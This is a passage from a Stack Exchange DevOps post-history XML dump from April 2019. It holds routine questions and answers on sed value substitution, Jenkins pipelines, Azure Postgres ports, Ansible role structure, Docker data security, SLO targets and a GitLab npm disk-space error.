  <row Id="21437" PostHistoryTypeId="5" PostId="6637" RevisionGUID="3cdd7c95-2329-4cb1-a3a2-4e791d0adbb5" CreationDate="2019-04-02T04:04:53.153" UserId="13190" Comment="Reformat for accurate semantics and improved readability" Text="My shell script looks like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;```&#xD;&#xA;FAILED_REQUEST_DIRECTORY=/bla/bla2 \&#xD;&#xA;java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1234 \&#xD;&#xA;     -jar /xyz/abc-service-1.0-SNAPSHOT.jar \&#xD;&#xA;     --server.port=1111 \&#xD;&#xA;     --server.address=127.0.0.1 \&#xD;&#xA;     --kafka.bootstrap.servers=10.111.11.11:3197,10.112.12.111:3197,10.123.44.25:3197 \&#xD;&#xA;     --topic.pushcrew.encryptionKey=abc-def-egh \&#xD;&#xA;     --spring.application.name=name-sevice \&#xD;&#xA;     --fb.verification.token=token \&#xD;&#xA;     --management.trace.include.payload=true \&#xD;&#xA;     --topic.pushcrew.hits=activity-logs \&#xD;&#xA;     --max.block.ms=1000 \&#xD;&#xA;     --pager.duty.api.key=apikey \&#xD;&#xA;     --dsn=dsn&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If I have to replace values of keys in the command, for ex: replacing value of key `--server.address` with the value to shell script through a variable, how would I do it?&#xD;&#xA;&#xD;&#xA;I understand it would look like following if I had to replace value for key --server.address:&#xD;&#xA;&#xD;&#xA;    sed -i &quot;s#--server.address=.* #$SERVER_ADDRESS#g;&#xD;&#xA;&#xD;&#xA;But how do I maintain the space that has to be there after the replacement and how do I make sure that part int the key only after `=`(equals to) and before  ` ` (space) gets replaced.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21438" PostHistoryTypeId="24" PostId="6637" RevisionGUID="3cdd7c95-2329-4cb1-a3a2-4e791d0adbb5" CreationDate="2019-04-02T04:04:53.153" Comment="Proposed by 13190 approved by 40, 47 edit id of 967" ContentLicense="CC BY-SA 4.0" />
  <row Id="21439" PostHistoryTypeId="5" PostId="6640" RevisionGUID="e39fe852-b596-4d4c-912b-27bb4ddf83a9" CreationDate="2019-04-02T04:06:24.447" UserId="13190" Comment="Formatting" Text="Negation to the rescue:&#xD;&#xA;&#xD;&#xA;    sed -i &quot;s/server.address=[^\ ].*\ /server.address=${SERVER_ADDRESS} /g&quot;&#xD;&#xA;&#xD;&#xA;This is telling to search zero or more characters (`.*`) NOT matching whitespace (`[^\ ]`) up to the first whitespace.&#xD;&#xA;&#xD;&#xA;A good pattern is not to use real values to be replaced (`10.111.11.11:3197`) but to use a mark like `###SERVER_ADDRESS###`. If something goes wrong you can easily post-check with&#xD;&#xA;&#xD;&#xA;    grep &quot;###&quot; &amp;&amp; exit -1&#xD;&#xA;&#xD;&#xA;This can avoid continuing with dangerous values (mixing dev/pre/pro values)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21440" PostHistoryTypeId="24" PostId="6640" RevisionGUID="e39fe852-b596-4d4c-912b-27bb4ddf83a9" CreationDate="2019-04-02T04:06:24.447" Comment="Proposed by 13190 approved by 40, 47 edit id of 966" ContentLicense="CC BY-SA 4.0" />
  <row Id="21441" PostHistoryTypeId="5" PostId="6478" RevisionGUID="1b4b9ff6-9a18-4ef6-8ca9-0768a6caff72" CreationDate="2019-04-02T04:14:17.270" UserId="13139" Comment="Improved formatting" Text="I would like to know how could I set up a load balancer at the Kubernetes level so my services point to the pods that have more RAM/CPU resources available, and not randomly.&#xD;&#xA;&#xD;&#xA;It would be co-existing with a Horizontal Pod Autoscaler.&#xD;&#xA;&#xD;&#xA;As of today, I have an ingress pointing to my `NodePort` service.&#xD;&#xA;&#xD;&#xA;It would be better if it could work locally with Minikube without needing to be on a cloud provider.&#xD;&#xA;&#xD;&#xA;If not, I'm using OVH as my Kubernetes cloud provider.&#xD;&#xA;&#xD;&#xA;Thanks for any info." ContentLicense="CC BY-SA 4.0" />
  <row Id="21442" PostHistoryTypeId="24" PostId="6478" RevisionGUID="1b4b9ff6-9a18-4ef6-8ca9-0768a6caff72" CreationDate="2019-04-02T04:14:17.270" Comment="Proposed by 13139 approved by 47, 40 edit id of 968" ContentLicense="CC BY-SA 4.0" />
  <row Id="21443" PostHistoryTypeId="2" PostId="6757" RevisionGUID="70637ffc-c445-4f58-bc0a-eeb584e844d2" CreationDate="2019-04-02T05:34:08.087" UserId="11598" Text="You can do this using **perl**&#xD;&#xA;&#xD;&#xA;For Example&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    perl -pi -e &quot;s/server.address=localhost/server.address=${SERVER_ADDRESS}/g&quot; file_path&#xD;&#xA;&#xD;&#xA;This command change server address value localhost to vaariable value.&#xD;&#xA;&#xD;&#xA;Hope this works" ContentLicense="CC BY-SA 4.0" />
  <row Id="21447" PostHistoryTypeId="2" PostId="6759" RevisionGUID="9a8bed71-1d1e-42a5-add1-9a4d026fe128" CreationDate="2019-04-02T12:52:14.930" UserId="13207" Text="Say I have 2 repos...&#xD;&#xA;&#xD;&#xA;And I have a work item (or bug, or whatever) in one repo, and my code in another repo (yes, I know it's silly, that's how my group rolls for historical reasons).&#xD;&#xA;&#xD;&#xA;Is there a way to assign a bug from one to the other? So that when I create a PR in Repo1, I can link to a bug in Repo2?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21448" PostHistoryTypeId="1" PostId="6759" RevisionGUID="9a8bed71-1d1e-42a5-add1-9a4d026fe128" CreationDate="2019-04-02T12:52:14.930" UserId="13207" Text="Assign bug from different repo when creating a pull request" ContentLicense="CC BY-SA 4.0" />
  <row Id="21449" PostHistoryTypeId="3" PostId="6759" RevisionGUID="9a8bed71-1d1e-42a5-add1-9a4d026fe128" CreationDate="2019-04-02T12:52:14.930" UserId="13207" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21451" PostHistoryTypeId="2" PostId="6760" RevisionGUID="0c233653-4747-42f4-b411-8b021f2a0ed9" CreationDate="2019-04-02T15:36:37.720" UserId="13213" Text="everyone!&#xD;&#xA;&#xD;&#xA;I'm working on a system where a dockerized application must run on client side machines (Ubuntu PC), with some sensitive data that must persist between runs that we want to limit access to. In prototyping I just stored the data in the host file system and used a bind mount to map that folder into the application container. &#xD;&#xA;&#xD;&#xA;I want to avoid situtations where someone with access to the machine can just copy out some user data, or even look at it. &#xD;&#xA;&#xD;&#xA;Looking for some guidance on what would be a good solution in my case.&#xD;&#xA;&#xD;&#xA;What I have read from google this sounds to be a bit of a different use case as to where user data/docker volumes are securely hidden away between the (fire)walls of server rooms and cloud instances and I haven't therefore been able to find a good solution on how to limit access to said user data so that no one (no proccess, nothing) except the running container has access to that data, even with physical access to the machine. &#xD;&#xA;&#xD;&#xA;I am also very new to devops and deploying systems so I would appreciate  any insight on how you would solve that matter!&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="21452" PostHistoryTypeId="1" PostId="6760" RevisionGUID="0c233653-4747-42f4-b411-8b021f2a0ed9" CreationDate="2019-04-02T15:36:37.720" UserId="13213" Text="How to secure persistent user data with docker on client location?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21453" PostHistoryTypeId="3" PostId="6760" RevisionGUID="0c233653-4747-42f4-b411-8b021f2a0ed9" CreationDate="2019-04-02T15:36:37.720" UserId="13213" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21454" PostHistoryTypeId="2" PostId="6761" RevisionGUID="ea7ac808-b27d-4aa6-87de-0159a258f6a1" CreationDate="2019-04-02T17:13:46.763" UserId="6806" Text="Just the way you can exit any stage prematurely by using `return` keyword, you can use the `return` keyword (outside of the stage) to exit the entire pipeline prematurely. You can re-use the `currentBuild.result` value outside of `Stage 4`. See below.&#xD;&#xA;&#xD;&#xA;    node{&#xD;&#xA;        withEnv([...]){&#xD;&#xA;            stage('1'){&#xD;&#xA;            ...&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('2'){&#xD;&#xA;            .....&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            if( env.BRANCH_NAME != 'master' ) {&#xD;&#xA;                currentBuild.result = 'SUCCESS'&#xD;&#xA;                return&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('3'){&#xD;&#xA;            ...&#xD;&#xA;            }       &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('4'){&#xD;&#xA;            withEnv([...]){&#xD;&#xA;                ...&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        if(currentBuild.result == 'SUCCESS') {&#xD;&#xA;            return //this will exit the pipeline&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        stage('5'){&#xD;&#xA;            ...&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('6'){&#xD;&#xA;        ...&#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="21455" PostHistoryTypeId="2" PostId="6762" RevisionGUID="42b5c2d4-6a78-416a-b6e7-1a6d25795b2a" CreationDate="2019-04-02T17:30:49.930" UserDisplayName="user8517" Text="We are looking to use Azure managed postgres but I am having some issues with connecting on port `5433` I can connect on port `5432` fine. I need just port 5433 to work, is there a way to access that port?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21456" PostHistoryTypeId="1" PostId="6762" RevisionGUID="42b5c2d4-6a78-416a-b6e7-1a6d25795b2a" CreationDate="2019-04-02T17:30:49.930" UserDisplayName="user8517" Text="How to use port 5433 with Azure managed postgres" ContentLicense="CC BY-SA 4.0" />
  <row Id="21457" PostHistoryTypeId="3" PostId="6762" RevisionGUID="42b5c2d4-6a78-416a-b6e7-1a6d25795b2a" CreationDate="2019-04-02T17:30:49.930" UserDisplayName="user8517" Text="&lt;azure&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21458" PostHistoryTypeId="2" PostId="6763" RevisionGUID="f2c93bd9-ba93-42be-9053-fc0a9dc3b1cc" CreationDate="2019-04-02T18:27:42.267" UserId="13216" Text="You can not change the port that Azure Database for PostgreSQL server uses. Connections to your Azure Database for PostgreSQL server communicate over port **5432**. When you try to connect from within a corporate network, outbound traffic over port 5432 might not be allowed by your network's firewall. If so, you can't connect to your server unless your IT department opens port 5432.&#xD;&#xA;&#xD;&#xA;If you truly need to use port 5433 you can install PostgreSQL on an Azure VM (IaaS)." ContentLicense="CC BY-SA 4.0" />
  <row Id="21459" PostHistoryTypeId="2" PostId="6764" RevisionGUID="3ca643bd-d81f-4fe6-ae73-54e086bee7f3" CreationDate="2019-04-02T19:26:53.793" UserId="13217" Text="I hope this question is not too vague / opinion-based:&#xD;&#xA;&#xD;&#xA;I need to create and maintain a handful of virtual machines that get packaged up and deployed out to thousands of users, depending on specific requirements. Everyone is doing roughly the same job, but different people need different tools. This is important because I don't think I can structure things around roles (though I'm happy to be told I'm wrong).&#xD;&#xA;&#xD;&#xA;They way I have things structured now is:&#xD;&#xA;&#xD;&#xA;``vagrant-directory&#xD;&#xA;|-Vagrantfile # Multi-host setup, with one machine per &quot;use-case&quot;&#xD;&#xA;|-scripts/ # Shell scripts run by Vagrant (mostly used to install Ansible prereqs)&#xD;&#xA;|-ansible/ # All Ansible-related files&#xD;&#xA;|----Playbook1.yml # One playbook per use case&#xD;&#xA;|----tasks/ # Contains task files for everything I want to do&#xD;&#xA;|------install/ # All task files related to installing software&#xD;&#xA;|------apt-update.yml # For example, a script to run apt update&#xD;&#xA;|------iptables-flush.yml # Disable iptables&#xD;&#xA;``&#xD;&#xA;&#xD;&#xA;With this approach, it basically means that when I get a requirement for a new machine, I have to create a new Playbook42.yml, use ``import_tasks`` for the tasks that I need, create any machine-specific tasks, and then provision and export.&#xD;&#xA;&#xD;&#xA;Does this seem reasonable? Is there a better approach?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21460" PostHistoryTypeId="1" PostId="6764" RevisionGUID="3ca643bd-d81f-4fe6-ae73-54e086bee7f3" CreationDate="2019-04-02T19:26:53.793" UserId="13217" Text="Structuring Ansible playbooks for low volume, purpose-built images" ContentLicense="CC BY-SA 4.0" />
  <row Id="21461" PostHistoryTypeId="3" PostId="6764" RevisionGUID="3ca643bd-d81f-4fe6-ae73-54e086bee7f3" CreationDate="2019-04-02T19:26:53.793" UserId="13217" Text="&lt;ansible&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21462" PostHistoryTypeId="5" PostId="6764" RevisionGUID="b1979efc-d30c-406d-bf7a-15bfd5cce73b" CreationDate="2019-04-02T19:36:46.350" UserId="13217" Comment="added 25 characters in body" Text="I hope this question is not too vague / opinion-based:&#xD;&#xA;&#xD;&#xA;I need to create and maintain a handful of virtual machines that get packaged up and deployed out to thousands of users, depending on specific requirements. Everyone is doing roughly the same job, but different people need different tools. This is important because I don't think I can structure things around roles (though I'm happy to be told I'm wrong).&#xD;&#xA;&#xD;&#xA;They way I have things structured now is:&#xD;&#xA;&#xD;&#xA;``vagrant-directory&#xD;&#xA;|-Vagrantfile # Multi-host setup, with one machine per &quot;use-case&quot;&#xD;&#xA;|-scripts/ # Shell scripts run by Vagrant (mostly used to install Ansible prereqs)&#xD;&#xA;|-ansible/ # All Ansible-related files&#xD;&#xA;|----Playbook1.yml # One playbook per use case&#xD;&#xA;|----tasks/ # Contains task files for everything I want to do&#xD;&#xA;|------install/ # All task files related to installing software&#xD;&#xA;|------apt-update.yml # For example, a script to run apt update&#xD;&#xA;|------iptables-flush.yml # Disable iptables&#xD;&#xA;``&#xD;&#xA;&#xD;&#xA;With this approach, it basically means that when I get a requirement for a new machine, I have to create a new Playbook42.yml, use ``import_tasks`` for the tasks that I need, create any machine-specific tasks, and then provision and export.&#xD;&#xA;&#xD;&#xA;Is there a more &quot;Ansible official&quot; or industry standard approach to doing this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21463" PostHistoryTypeId="2" PostId="6765" RevisionGUID="a384d734-d429-4ab2-ba45-9c411db16f05" CreationDate="2019-04-02T22:19:43.180" UserId="13222" Text="Within the CloudWatch integration in PagerDuty, you can change the &quot;Derive name from&quot; field to something like &quot;Alarm Description&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="21464" PostHistoryTypeId="2" PostId="6766" RevisionGUID="1810f2ce-18a5-48fc-bbb6-703d652d9a27" CreationDate="2019-04-02T22:30:21.453" UserId="13111" Text="Unless I totally missed your question, roles are exactly what you need in this case. I'll use examples from my real world. My code below is just to illustrate my point (so it is not fully runnable, might contain errors and is not bullet proof rocket science: you will probably have to adapt/overcome tools limitations). But at least you'll be able to tell me if I got you wrong.&#xD;&#xA;&#xD;&#xA;Let's say your servicing a large community of developers on different techs: java, php, nodejs, scala, python, ruby... needing some tools as well like apache, nginx, postgres, mysql, redis...&#xD;&#xA;&#xD;&#xA;You have a role for each of these techs/tools, and possibly use existing ones from galaxy that you don't even have to write and that you can [download at provisioning time](https://www.vagrantup.com/docs/provisioning/ansible_common.html#galaxy_role_file). These roles can possibly be controlled with vars to choose e.g. versions. (see vagrant provisionner config below)&#xD;&#xA;&#xD;&#xA;Now, one way you can activate/deactivate roles in a play is with the use of [tags](https://docs.ansible.com/ansible/latest/user_guide/playbooks_tags.html)&#xD;&#xA;&#xD;&#xA;Your unique playbook could look something like this&#xD;&#xA;```yaml&#xD;&#xA;- name: Vagrant provisionning playbook&#xD;&#xA;  hosts: all&#xD;&#xA;  &#xD;&#xA;  pre_tasks:&#xD;&#xA;    # whatever you need to do before roles&#xD;&#xA;&#xD;&#xA;  roles:&#xD;&#xA;    - role: php&#xD;&#xA;      tags: [php]&#xD;&#xA;    - role: java&#xD;&#xA;      tags: [java]&#xD;&#xA;    - role: nginx&#xD;&#xA;      tags: [nginx,php] # if you always deploy php with nginx&#xD;&#xA;    - role: redis&#xD;&#xA;      tags: [redis]&#xD;&#xA;    # more roles here&#xD;&#xA;    &#xD;&#xA;    tasks:&#xD;&#xA;      # Whatever tasks are needed to be played after roles&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With such a structure, you can now configure your ansible provisioinner in vagrant [defining the tags](https://www.vagrantup.com/docs/provisioning/ansible_common.html#tags) and [specifying the vars](https://www.vagrantup.com/docs/provisioning/ansible_intro.html#host-variables) needed to provision with your single playbook.&#xD;&#xA;&#xD;&#xA;```ruby&#xD;&#xA;Vagrant.configure(2) do |config|&#xD;&#xA;&#xD;&#xA;  config.vm define &quot;php_application&quot; do |php_application|&#xD;&#xA;&#xD;&#xA;    # Some config for vm&#xD;&#xA;    php_application.vm.provision &quot;ansible&quot; do |ansible| &#xD;&#xA;      ansible.playbook = &quot;playbook.yml&quot;&#xD;&#xA;      ansible.tags = &quot;php,nginx,untagged&quot;&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;  end&#xD;&#xA;&#xD;&#xA;  # Host vars declared globally. You might be able to do&#xD;&#xA;  # it on host by host basis but the doc does not specify it&#xD;&#xA;  config.vm.provision &quot;ansible&quot; do |ansible|&#xD;&#xA;    ansible.host_vars = {&#xD;&#xA;      &quot;php_application&quot; =&gt; {&quot;php_version&quot; =&gt; &quot;7.2&quot;}&#xD;&#xA;    }&#xD;&#xA;  end&#xD;&#xA;end &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Does this fit your needs ?&#xD;&#xA;&#xD;&#xA;Note: if a single playbook is too much of a hassle, you can still use the roles and assemble in each playbook the techs/tools you need and reuse things that you will need in several places." ContentLicense="CC BY-SA 4.0" />
  <row Id="21465" PostHistoryTypeId="2" PostId="6767" RevisionGUID="e850571f-2fec-46b7-a997-7a04a9ed5d7e" CreationDate="2019-04-02T22:47:19.910" UserId="13025" Text="I was wondering whether anyone in this forum had new arguments they have heard or tried in person to convince executives of the need to set service level objectives at a level below 100%, hence the original question.&#xD;&#xA;&#xD;&#xA;Here are some approaches I've seen or taken in the past to tackling this problem.  *The Site Reliability Workbook* has a few suggestions [here][1], which include:&#xD;&#xA;&#xD;&#xA;   * 100% is not a reasonable target since every component of any system has a&#xD;&#xA;   non-zero probability of failure.&#xD;&#xA;   * External components (such as an ISP) sitting between the customer and the target system aren't 100% reliable.&#xD;&#xA;   * 100% reliability implies you can never change the system, since all change introduces risk.&#xD;&#xA;   * 100% reliability implies you spend all your time reacting to reliability problems and have no time for anything else.&#xD;&#xA;&#xD;&#xA;In addition to the above, I've also gathered the following talking points from various in-person discussions that might be useful to persuade organizational leaders:&#xD;&#xA;&#xD;&#xA;   * If an IT exec sets a target of 100% reliability, they are basically encouraging their engineers to lie to them and hide problems, which means they will discover those problems in the most expensive possible way.&#xD;&#xA;   * Nature has never evolved a 100% reliable system. Gene replication is unreliable. The human heart is not 100% reliable.  Life continues and thrives in the face of imperfect reliability, and so can technology systems and their users.&#xD;&#xA;   * No group of humans has ever engineered a system that's 100% reliable in the long run.&#xD;&#xA;&#xD;&#xA;We also have to acknowledge that for certain dimensions of reliability, such as data loss prevention, some regulated industries require levels of reliability so high and over long periods of time that they are virtually indistinguishable from 100%, like 99.999999%. For other dimensions like availability and latency, three or four nines of reliability are often more than adequate, and some of the arguments above may help persuade IT leadership that this is true.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://landing.google.com/sre/workbook/chapters/implementing-slos/#reliability-targets-and-error-budgets" ContentLicense="CC BY-SA 4.0" />
  <row Id="21466" PostHistoryTypeId="5" PostId="6764" RevisionGUID="00f05229-ecc3-4e7e-9209-5de1af2bc560" CreationDate="2019-04-03T00:05:40.837" UserId="13217" Comment="Improving formatting" Text="I hope this question is not too vague / opinion-based:&#xD;&#xA;&#xD;&#xA;I need to create and maintain a handful of virtual machines that get packaged up and deployed out to thousands of users, depending on specific requirements. Everyone is doing roughly the same job, but different people need different tools. This is important because I don't think I can structure things around roles (though I'm happy to be told I'm wrong).&#xD;&#xA;&#xD;&#xA;They way I have things structured now is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;vagrant-directory&#xD;&#xA;|-Vagrantfile # Multi-host setup, with one machine per &quot;use-case&quot;&#xD;&#xA;|-scripts/ # Shell scripts run by Vagrant (mostly used to install Ansible prereqs)&#xD;&#xA;|-ansible/ # All Ansible-related files&#xD;&#xA;|----Playbook1.yml # One playbook per use case&#xD;&#xA;|----tasks/ # Contains task files for everything I want to do&#xD;&#xA;|------install/ # All task files related to installing software&#xD;&#xA;|------apt-update.yml # For example, a script to run apt update&#xD;&#xA;|------iptables-flush.yml # Disable iptables&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With this approach, it basically means that when I get a requirement for a new machine, I have to create a new Playbook42.yml, use ``import_tasks`` for the tasks that I need, create any machine-specific tasks, and then provision and export.&#xD;&#xA;&#xD;&#xA;Is there a more &quot;Ansible official&quot; or industry standard approach to doing this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21467" PostHistoryTypeId="5" PostId="6140" RevisionGUID="272b22b4-dc7b-48b9-b5aa-e05cc843bdc9" CreationDate="2019-04-03T02:37:44.727" UserId="47" Comment="fixed URL" Text="In general you are going to find the best support for “an X” on Kubernetes by looking at what “X” projects are members of the same software foundation so governed by the same organisation. Kubernetes is part of the [Cloud Native Computing Foundation][1] so you should study what [“Xs” it offers][2]. In the case of service mesh CNCF has Linkerd. &#xD;&#xA;&#xD;&#xA;At this point in time though as other answers point out there is a lot of momentum around itsio. This [uses Envoy][3] which is a top level CNCF project to actually shape the traffic between your containers. That is reassuring as we would not expect k8s to suddenly break Envoy at a minor release so we might expect itiso to be able to keep up to date with k8s. That’s a guess though. &#xD;&#xA;&#xD;&#xA;You should also consider whether there is a “service mesh like” tech for that stack you use already. If for example you are a Java shop doing microservice like a lot of big firms then you are probably using spring boot and spring cloud. In which case spring cloud already had a bunch of components that offer the same benefits as a mesh but do it in a more traditional way (libraries embeds in your app). By way of example [here][4] is an architecture demo of how to port a java spring cloud airline booking microservices demo app onto openshift Kubernetes. In that doc they mention itsio but actually they stick with spring cloud ribbon, eureka and zuul. Spring cloud also has distributed tracing etc. &#xD;&#xA;&#xD;&#xA;This then leads to three choices if you’re a java shop. In order of more conservative first:&#xD;&#xA;&#xD;&#xA; 1. If your writing Spring Boot microservices stick with Spring Cloud. Developers can run it all as “just java” in their laptop and will take responsibility for it all working well on k8s as it’s “obviously” something they should master. &#xD;&#xA; 2. Deploy Linkerd as it’s an established CNCF project so the most mature option &#xD;&#xA; 3. Deploy itsio which went to v1.0 relatively recently but is likely to mature fast. &#xD;&#xA;&#xD;&#xA;The smart money if you have the time is to try out all three. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.cncf.io/&#xD;&#xA;  [2]: https://www.cncf.io/projects/&#xD;&#xA;  [3]: https://istio.io/docs/concepts/what-is-istio/#envoy&#xD;&#xA;  [4]: https://access.redhat.com/documentation/en-us/reference_architectures/2017/html-single/spring_boot_microservices_on_red_hat_openshift_container_platform_3/index" ContentLicense="CC BY-SA 4.0" />
  <row Id="21471" PostHistoryTypeId="2" PostId="6769" RevisionGUID="58bf315a-dd2a-41f3-8b26-3789e5b4ff1f" CreationDate="2019-04-03T04:25:32.090" UserId="13226" Text="You could save the data in a database. That database can be also a container (deploy them both with docker-compose maybe). The database is password protected and it can persist its encrypted data on the disk between runs.&#xD;&#xA;&#xD;&#xA;Also you can use Vault (https://docs.docker.com/samples/library/vault/).&#xD;&#xA;&#xD;&#xA;Hope this helps" ContentLicense="CC BY-SA 4.0" />
  <row Id="21472" PostHistoryTypeId="2" PostId="6770" RevisionGUID="21e04f8e-ccea-4f46-86f0-df9da2a308e9" CreationDate="2019-04-03T07:51:25.120" UserId="11327" Text="Work Items created in Projects, not in Repos.&#xD;&#xA;&#xD;&#xA;And yes, you can link to PR also work items from another projects." ContentLicense="CC BY-SA 4.0" />
  <row Id="21473" PostHistoryTypeId="50" PostId="6096" RevisionGUID="7ec96261-aab9-4544-b0dc-41680ecb3d04" CreationDate="2019-04-03T08:03:00.627" UserId="-1" />
  <row Id="21480" PostHistoryTypeId="2" PostId="6773" RevisionGUID="498b8c73-356a-4061-b0f8-e78a16391fd0" CreationDate="2019-04-03T13:40:44.177" UserId="13241" Text="I am trying to understand this flag DOCKER_CONTENT_TRUST=1 but not able to figure it out. How does it effect pushing images and pulling images, let's say from docker hub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21481" PostHistoryTypeId="1" PostId="6773" RevisionGUID="498b8c73-356a-4061-b0f8-e78a16391fd0" CreationDate="2019-04-03T13:40:44.177" UserId="13241" Text="What is DOCKER_CONTENT_TRUST flag?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21482" PostHistoryTypeId="3" PostId="6773" RevisionGUID="498b8c73-356a-4061-b0f8-e78a16391fd0" CreationDate="2019-04-03T13:40:44.177" UserId="13241" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21483" PostHistoryTypeId="2" PostId="6774" RevisionGUID="b8c174ca-900a-49e5-acc8-170924d96660" CreationDate="2019-04-03T14:34:31.773" UserId="13217" Text="I currently have a bunch of roles, like:&#xD;&#xA;&#xD;&#xA; - apache2&#xD;&#xA; - gcc&#xD;&#xA; - gedit&#xD;&#xA; - ...etc.&#xD;&#xA;&#xD;&#xA;For each of those, I have a task file that looks like this:&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- name: &quot;Install {{ role_name }}&quot;&#xD;&#xA;  become: true&#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ role_name }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there a way to abstract this to a higher level and have a single &quot;Install package&quot; role, and then somehow specify a bunch of specific packages to install in a variable or something?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21484" PostHistoryTypeId="1" PostId="6774" RevisionGUID="b8c174ca-900a-49e5-acc8-170924d96660" CreationDate="2019-04-03T14:34:31.773" UserId="13217" Text="Getting rid of redundant Ansible roles" ContentLicense="CC BY-SA 4.0" />
  <row Id="21485" PostHistoryTypeId="3" PostId="6774" RevisionGUID="b8c174ca-900a-49e5-acc8-170924d96660" CreationDate="2019-04-03T14:34:31.773" UserId="13217" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21486" PostHistoryTypeId="5" PostId="6774" RevisionGUID="69f52381-c0bc-4550-9494-be4504aa6afc" CreationDate="2019-04-03T14:42:47.867" UserId="13217" Comment="added 9 characters in body" Text="I currently have a bunch of roles, like:&#xD;&#xA;&#xD;&#xA; - apache2&#xD;&#xA; - gcc&#xD;&#xA; - gedit&#xD;&#xA; - ...etc.&#xD;&#xA;&#xD;&#xA;For each of those, I have a task file that looks like this:&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- name: &quot;Install {{ role_name }}&quot;&#xD;&#xA;  become: true&#xD;&#xA;  package:&#xD;&#xA;    name: &quot;{{ role_name }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there a way to abstract this to a higher level and have a single &quot;Install package&quot; role, and then somehow specify a bunch of specific packages to install per host in a variable or something?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21487" PostHistoryTypeId="50" PostId="6482" RevisionGUID="cc09701d-a1f7-4dab-8b97-c02a09b0b949" CreationDate="2019-04-03T15:01:15.247" UserId="-1" />
  <row Id="21488" PostHistoryTypeId="2" PostId="6775" RevisionGUID="08054193-e1f7-4a35-83a9-6f8af91e4543" CreationDate="2019-04-03T16:02:26.843" UserId="7715" Text="Is this what you're looking for?&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      vars:&#xD;&#xA;        bunch_of_specific_packages:&#xD;&#xA;          - apache2&#xD;&#xA;          - gcc&#xD;&#xA;          - gedit&#xD;&#xA;      tasks:&#xD;&#xA;        - package:&#xD;&#xA;            name: &quot;{{ item }}&quot;&#xD;&#xA;          loop: &quot;{{ bunch_of_specific_packages }}&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21492" PostHistoryTypeId="50" PostId="6526" RevisionGUID="656589dd-ac6a-4629-b58e-803f1789aafe" CreationDate="2019-04-03T22:00:12.853" UserId="-1" />
  <row Id="21499" PostHistoryTypeId="2" PostId="6779" RevisionGUID="507d3d73-0645-4fd5-8f57-6496663cd34a" CreationDate="2019-04-04T10:02:17.137" UserId="13258" Text="I'm using gitlab and gitlab-ci along with gitlab-runner.&#xD;&#xA;&#xD;&#xA;Gitlab-runner is choking on my build jobs for a day now and I can't find a way to solve the problem.&#xD;&#xA;&#xD;&#xA;The problem appears when the `npm install` command runs :&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/array-initial-dd86c469/.jshintrc'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/color-support-612f9677/index.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/clone-94e64b37/clone.iml'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/async-each-23f1cf68/README.md'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/extend-b499a705/.travis.yml'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/function-bind-b92d92f1/implementation.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open 